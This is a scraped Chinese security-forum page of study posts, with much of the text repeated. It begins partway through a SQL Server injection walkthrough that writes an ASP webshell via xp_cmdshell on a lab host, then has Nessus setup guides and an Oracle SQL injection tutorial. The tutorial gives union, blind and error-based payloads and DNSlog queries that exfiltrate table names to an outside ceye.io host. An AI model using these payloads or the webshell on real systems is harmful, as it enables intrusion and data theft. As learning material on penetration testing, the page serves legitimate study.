;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';

图片24.png

 
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)

这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间


Sqlmap命令:
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump

图片25.png

 
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话
;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';
执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察

图片26.png


返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。

图片27.png


成功写入一句话木马,尝试才到连接

图片28.png


图片29.png

成功获取webshell
 
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:
select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0
查看字段名:
select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'

总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
 
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
 
 
 

 
 

nessus的扫描及配置说明

Web安全渗透gu 发表了文章 • 0 个评论 • 61 次浏览 • 2019-07-10 16:33 • 来自相关话题

0x00 建立扫描任务点击New Scan后选择Advanced Scan 进入配置选项







输入项目名称,ip地址




然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加



添加之后点击save,这样一个扫描任务就创建成功了 




点击开始就可以开始扫描了 




点击该项目就可以查看扫描的详细信息




扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告








下载完成之后打开就是扫描的报告信息




0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明









 
Port Scanning 端口扫描









 
Service Discovery 端口服务探测




0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置




Brutr Force 风险项




Web Application web应用扫描












    Windows 设置




0x03Credentials 设置登录扫描
​以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存




0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客 
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽 
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽 查看全部
0x00 建立扫描任务点击New Scan后选择Advanced Scan 进入配置选项
Image.png
Image.png

输入项目名称,ip地址
Image.png

然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加
Image.png
添加之后点击save,这样一个扫描任务就创建成功了 
Image.png

点击开始就可以开始扫描了 
Image.png

点击该项目就可以查看扫描的详细信息
Image.png

扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告
Image.png

Image.png

下载完成之后打开就是扫描的报告信息
Image.png

0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明

Image.png

Image.png

 
Port Scanning 端口扫描

Image.png

Image.png

 
Service Discovery 端口服务探测
Image.png

0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置
Image.png

Brutr Force 风险项
Image.png

Web Application web应用扫描
Image.png

Image.png

Image.png

    Windows 设置
Image.png

0x03Credentials 设置登录扫描
​以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存
Image.png

0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客 
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽 
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽

Oracle数据库手注

数据库SQL语言fireant 发表了文章 • 1 个评论 • 122 次浏览 • 2019-07-09 16:31 • 来自相关话题

0x00前言
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
 
0x01环境
服务器:win server 2008中间件:IIS7.0数据库:Oracle Database 18c企业版版本18.0.0.0.0前端语言:ASP
 
 
0x02Oracle数据库基础
一、Oracle数据库操作
1、创建数据库create database databasename
2、删除数据库drop database dbname
3、备份数据库* 完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
* 将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
* 导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=\" where filed1 like 'fg%'\"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
* 备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
 4、数据库还原打开cmd直接执行如下命令,不用再登陆sqlplus。
* 完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
* 导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y











二、Oracle表操作
1、创建表create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>
2、删除表drop table tabname
3、重命名表 说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename
4、增加字段说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default '空' not null);
5、修改字段说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));
6、重名字段说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;
7、删除字段
  说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;
8、添加主键alter table tabname add primary key(col)
9、删除主键alter table tabname drop primary key(col)
10、创建索引create [unique] index idxname on tabname(col….)
11、删除索引
  drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
12、创建视图create view viewname as select statement
13、删除视图drop view viewname
三、Oracle操作数据
1、数据查询select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]
2、插入数据insert into 表名 values(所有列的值);
eg: insert into test values(1,'zhangsan',20);

insert into 表名(列) values(对应的值);
eg: insert into test(id,name) values(2,'lisi');
3、更新数据update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
eg: update test set name='zhangsan2' where name='zhangsan'

update 表 set 列=新的值 -->更新所有的数据
eg: update test set age =20;
4、删除数据* delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
* truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
* drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复-->删除很快
5、数据复制* 表数据复制
insert into table1 (select * from table2);
* 复制表结构
create table table1 select * from table2 where 1>1;
* 复制表结构和数据
create table table1 select * from table2;
* 复制指定字段
create table table1 as select id, name from table2 where 1>1; 
 
0x03判断注入点
1.判断注入点类型(同MYSQL注入)




'错误显示
' and 1=1 --显示错误
and 1=1 显示正常
and 1=2 显示错误
则为无闭合符 
0x04联合查询
1.判断列数:order by 3 显示正常
order by 4 显示错误
则为有三列数据
 
2.判断字符类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。and 1=2 union select null,null,null from dual 返回正常

and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型





3.判断显示位and 1=2 union select 1,'2','3' from dual -- 将null用数字代替,上面判断出为字符型的加上单引号,即可判断出对应的显示位




 
4.探测数据库版本信息
rownum 对于等于某值的查询条件
如果希望找到学生表中第一条学生的信息,可以使用rownum=1作为条件。但是想找到学生表中第二条学生的信息,使用rownum=2结果查不到数据。因为rownum都是从1开始,但是1以上的自然数在rownum做等于判断是时认为都是false条件,所以无法查到rownum = n(n>1的自然数) and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.探测第一个表名
user_tables表为Oracle数据库的默认表,表下有字段table_name对应所有用户创建的表名and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual --





6.探测第二个表名
注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'STUDENT'and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual --





7.探测关键表的字段
user_tab_columns表为Oracle数据库的默认表, 表下有字段table_name和column_name对应所有的用户创建的表名,字段名and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1),null from dual --

and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID'),null from dual -- 排除第一个字段名ID

tand 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID' and column_name<>'NAME'),null from dual -- 排除前两个字段名ID和NAME

















8.探测关键字段的数据and 1=2 union select id,name,pass from student where id=3 --




Oracle联合查询——DNSlog注入
此方法需要Oracle数据库用户拥有网络访问权限
手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/
UTL_HTTP.REQUESTunion SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.8dktk9.ceye.io'),null FROM DUAL








UTL_INADDR.GET_HOST_ADDRESSunion SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||'.here.8dktk9.ceye.io'),null FROM DUAL



HTTPURITYPEunion SELECT null,HTTPURITYPE((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io').GETCLOB(),null FROM DUAL
DBMS_LDAP.INITunion SELECT null,DBMS_LDAP.INIT((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io',80),null FROM DUAL


0x05盲注
一、布尔盲注
1.获取数据表个数
count()函数获取字符串个数and (select count(table_name) from user_tables)>2 -- 页面报错
and (select count(table_name) from user_tables)=2 -- 页面正常,即表个数为2





2.获取第一个表的字符个数
length()函数判断字符个数and (select length(table_name) from user_tables where rownum=1)>7 -- 页面报错
and (select length(table_name) from user_tables where rownum=1)=7 -- 页面正常 ,即第一个表的字符数为7


















2.获取第一个表的第一个字符
substr( )函数
substring()
作用:截取字符串
用法:substr(string,num start,num length)
           string 为字符串
           start  为起始长度从1开始
           length 为长度
 
ascii()函数
作用:返回字符串str的字符ASCII码值。入果str是空字符串,返回0,入果string是NULL,返回NULLand ascii(substr((select table_name from user_tables where rownum=1),1,1))=83 -- 页面正常,即第一个字符为ascii值83所对应的字母。为W 






二、时间盲注
对oracle进行时间盲注通常使用decode()函数
decode函数有很多种功能,在这里我们主要用到它可以比较字符串的功能。类似if-then语句。
 
DECODE(expr, search, result
             [, search, result ]...
       [, default ]
      )
DECODE函数会依次比较expr与search的值,如果expr等于search的值,那么DECODE函数将会返回search后面对应的result的值。如果到最后也没有匹配成功,那么便会返回最后面的default
 
类似 C++ 里面的switch语句。
 
该Payload的核心思想便是,根据表达式与search的值是否匹配,来决定是否执行高耗时SQL操作。
 
例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
 
1.探测第一个表名的第一个字符and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'S',(select count(*) from all_objects),1) from dual) 执行这条语句是页面延迟,即第一个表名的第一个字符为S






0x06报错注入
1.使用 dbms_xdb_version.checkin()进行报错注入and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null -- 探测数据库版本信息
 





2.使用dbms_xdb_version.makeversioned()进报错注入and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --
 





3.报错注入其他payloadand (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null --

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) --
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--
 
 
 
0x07参考文献
 
http://www.teagle.top/index.php/archives/149/
https://www.freebuf.com/column/146464.html
 
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
 
https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions040.htm 查看全部
0x00前言
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
 
0x01环境
  • 服务器:win server 2008
  • 中间件:IIS7.0
  • 数据库:Oracle Database 18c企业版版本18.0.0.0.0
  • 前端语言:ASP

 
 
0x02Oracle数据库基础
一、Oracle数据库操作
1、创建数据库
create database databasename

2、删除数据库
drop database dbname

3、备份数据库
* 完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
* 将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
* 导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=\" where filed1 like 'fg%'\"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
* 备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y

 4、数据库还原
打开cmd直接执行如下命令,不用再登陆sqlplus。
* 完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
* 导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y











二、Oracle表操作
1、创建表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>

2、删除表
drop table tabname

3、重命名表
  说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename

4、增加字段
说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default '空' not null);

5、修改字段
说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));

6、重名字段
说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;

7、删除字段
  
说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;

8、添加主键
alter table tabname add primary key(col)

9、删除主键
alter table tabname drop primary key(col)

10、创建索引
create [unique] index idxname on tabname(col….)

11、删除索引
 
  drop index idxname
注:索引是不可更改的,想更改必须删除重新建。

12、创建视图
create view viewname as select statement

13、删除视图
drop view viewname

三、Oracle操作数据
1、数据查询
select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]

2、插入数据
insert into 表名 values(所有列的值);
eg: insert into test values(1,'zhangsan',20);

insert into 表名(列) values(对应的值);
eg: insert into test(id,name) values(2,'lisi');

3、更新数据
update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
eg: update test set name='zhangsan2' where name='zhangsan'

update 表 set 列=新的值 -->更新所有的数据
eg: update test set age =20;

4、删除数据
* delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
* truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
* drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复-->删除很快

5、数据复制
* 表数据复制
insert into table1 (select * from table2);
* 复制表结构
create table table1 select * from table2 where 1>1;
* 复制表结构和数据
create table table1 select * from table2;
* 复制指定字段
create table table1 as select id, name from table2 where 1>1;
 
 
0x03判断注入点
1.判断注入点类型(同MYSQL注入)

TIM截图20190708180910.png
'错误显示
' and 1=1 --显示错误
and 1=1 显示正常
and 1=2 显示错误
则为无闭合符
 
0x04联合查询
1.判断列数:
order by 3  显示正常
order by 4 显示错误
则为有三列数据

 
2.判断字符类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
and 1=2 union select null,null,null from dual    返回正常

and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

TIM截图20190708182255.png


3.判断显示位
and 1=2 union select 1,'2','3' from dual --    将null用数字代替,上面判断出为字符型的加上单引号,即可判断出对应的显示位

TIM截图20190708184239.png

 
4.探测数据库版本信息
rownum 对于等于某值的查询条件
如果希望找到学生表中第一条学生的信息,可以使用rownum=1作为条件。但是想找到学生表中第二条学生的信息,使用rownum=2结果查不到数据。因为rownum都是从1开始,但是1以上的自然数在rownum做等于判断是时认为都是false条件,所以无法查到rownum = n(n>1的自然数) 
and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual --

TIM截图20190709094254.png


5.探测第一个表名
user_tables表为Oracle数据库的默认表,表下有字段table_name对应所有用户创建的表名
and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual --

TIM截图20190709095138.png


6.探测第二个表名
注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'STUDENT'
and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual --

TIM截图20190709102423.png


7.探测关键表的字段
user_tab_columns表为Oracle数据库的默认表, 表下有字段table_name和column_name对应所有的用户创建的表名,字段名
and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1),null from dual --

and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID'),null from dual -- 排除第一个字段名ID

tand 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID' and column_name<>'NAME'),null from dual -- 排除前两个字段名ID和NAME







TIM截图20190709101904.png


TIM截图20190709102756.png


8.探测关键字段的数据
and 1=2 union select id,name,pass from student where id=3  --

TIM截图20190709104438.png

Oracle联合查询——DNSlog注入
此方法需要Oracle数据库用户拥有网络访问权限
手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/
UTL_HTTP.REQUEST
union SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.8dktk9.ceye.io'),null FROM DUAL



TIM截图20190711160806.png


UTL_INADDR.GET_HOST_ADDRESS
union SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||'.here.8dktk9.ceye.io'),null FROM DUAL



HTTPURITYPE
union SELECT null,HTTPURITYPE((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io').GETCLOB(),null FROM DUAL

DBMS_LDAP.INIT
union SELECT null,DBMS_LDAP.INIT((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io',80),null FROM DUAL


0x05盲注
一、布尔盲注
1.获取数据表个数
count()函数获取字符串个数
and (select count(table_name) from user_tables)>2 --    页面报错
and (select count(table_name) from user_tables)=2 -- 页面正常,即表个数为2

TIM截图20190709111623.png


2.获取第一个表的字符个数
length()函数判断字符个数
and (select length(table_name) from user_tables where rownum=1)>7 --  页面报错
and (select length(table_name) from user_tables where rownum=1)=7 -- 页面正常 ,即第一个表的字符数为7












TIM截图20190709112122.png



2.获取第一个表的第一个字符
substr( )函数
substring()
作用:截取字符串
用法:substr(string,num start,num length)
           string 为字符串
           start  为起始长度从1开始
           length 为长度
 
ascii()函数
作用:返回字符串str的字符ASCII码值。入果str是空字符串,返回0,入果string是NULL,返回NULL
and ascii(substr((select table_name from user_tables where rownum=1),1,1))=83 --  页面正常,即第一个字符为ascii值83所对应的字母。为W
 
TIM截图20190709113018.png



二、时间盲注
对oracle进行时间盲注通常使用decode()函数
decode函数有很多种功能,在这里我们主要用到它可以比较字符串的功能。类似if-then语句。
 
DECODE(expr, search, result
             [, search, result ]...
       [, default ]
      )
DECODE函数会依次比较expr与search的值,如果expr等于search的值,那么DECODE函数将会返回search后面对应的result的值。如果到最后也没有匹配成功,那么便会返回最后面的default
 
类似 C++ 里面的switch语句。
 
该Payload的核心思想便是,根据表达式与search的值是否匹配,来决定是否执行高耗时SQL操作。
 
例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
 
1.探测第一个表名的第一个字符
and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'S',(select count(*) from all_objects),1) from dual)    执行这条语句是页面延迟,即第一个表名的第一个字符为S

TIM截图20190709162609.png



0x06报错注入
1.使用 dbms_xdb_version.checkin()进行报错注入
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --   探测数据库版本信息

 
TIM截图20190709123525.png



2.使用dbms_xdb_version.makeversioned()进报错注入
and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --

 
TIM截图20190709123303.png



3.报错注入其他payload
and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null --

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) --
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--

 
 
 
0x07参考文献
 
http://www.teagle.top/index.php/archives/149/
https://www.freebuf.com/column/146464.html
 
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
 
https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions040.htm

linux下nessus的安装

Web安全渗透gu 发表了文章 • 0 个评论 • 50 次浏览 • 2019-07-09 16:30 • 来自相关话题

0x00下载安装包
在官网上下载对应系统版本的安装包即可,我用的是ubantu系统
nessus下载地址:https://www.tenable.com/downloads/nessus





0x01安装安装包
下载的安装包是deb文件,用解压deb文件的命令直接解压就可以
sudo dpkg -i 文件名




0x02启动nessus服务
执行启动命令启动nessus服务
service nessusd start
接下来访问https://虚拟机ip:8834就可以登录web页面





在这里需要选择第一个





跳转页面之后填入相应信息





点击email之后激活码会发送到邮箱中,然后点击skip
跳转页面后填入激活码点击continue





下一个页面就是注册用户的界面




填完点击下一步就会自动安装插件,但是会卡在这里报错





0x03安装插件
上面已经安装成功了,由于我自己下载离线插件安装包没有成功,最后跳转下载得时候不知道为什么拒绝服务。在这里想试试的小伙伴可以读下https://blog.csdn.net/qq_35983015/article/details/79325463这篇文章讲的很详细
我自己则是找的安装包直接拖进虚拟机安装的插件
在这里需要注意的是安装包一定要放在/opt/nessus/sbin目录下,并且命令也是在该目录下执行的将插件安装包放入上面的目录下后执行命令即可安装插件./nessuscli update all-2.0.tar.gz(插件包名)




安装完成需要重启下nessus
./nessusd




这里要注意的是安装插件完成后并不会跳转到命令行,按ctrl+c后才能回到命令行
最后附上产检安装完成后的截图





  查看全部
0x00下载安装包
在官网上下载对应系统版本的安装包即可,我用的是ubantu系统
nessus下载地址:https://www.tenable.com/downloads/nessus

Image.png

0x01安装安装包
下载的安装包是deb文件,用解压deb文件的命令直接解压就可以
sudo dpkg -i 文件名

Image.png

0x02启动nessus服务
执行启动命令启动nessus服务
service nessusd start

接下来访问https://虚拟机ip:8834就可以登录web页面

Image.png

在这里需要选择第一个

Image.png

跳转页面之后填入相应信息

Image.png

点击email之后激活码会发送到邮箱中,然后点击skip
跳转页面后填入激活码点击continue

Image.png

下一个页面就是注册用户的界面
Image.png

填完点击下一步就会自动安装插件,但是会卡在这里报错

Image.png

0x03安装插件
上面已经安装成功了,由于我自己下载离线插件安装包没有成功,最后跳转下载得时候不知道为什么拒绝服务。在这里想试试的小伙伴可以读下https://blog.csdn.net/qq_35983015/article/details/79325463这篇文章讲的很详细
我自己则是找的安装包直接拖进虚拟机安装的插件
在这里需要注意的是安装包一定要放在/opt/nessus/sbin目录下,并且命令也是在该目录下执行的将插件安装包放入上面的目录下后执行命令即可安装插件
./nessuscli update all-2.0.tar.gz(插件包名)

Image.png

安装完成需要重启下nessus
./nessusd

Image.png

这里要注意的是安装插件完成后并不会跳转到命令行,按ctrl+c后才能回到命令行
最后附上产检安装完成后的截图

Image.png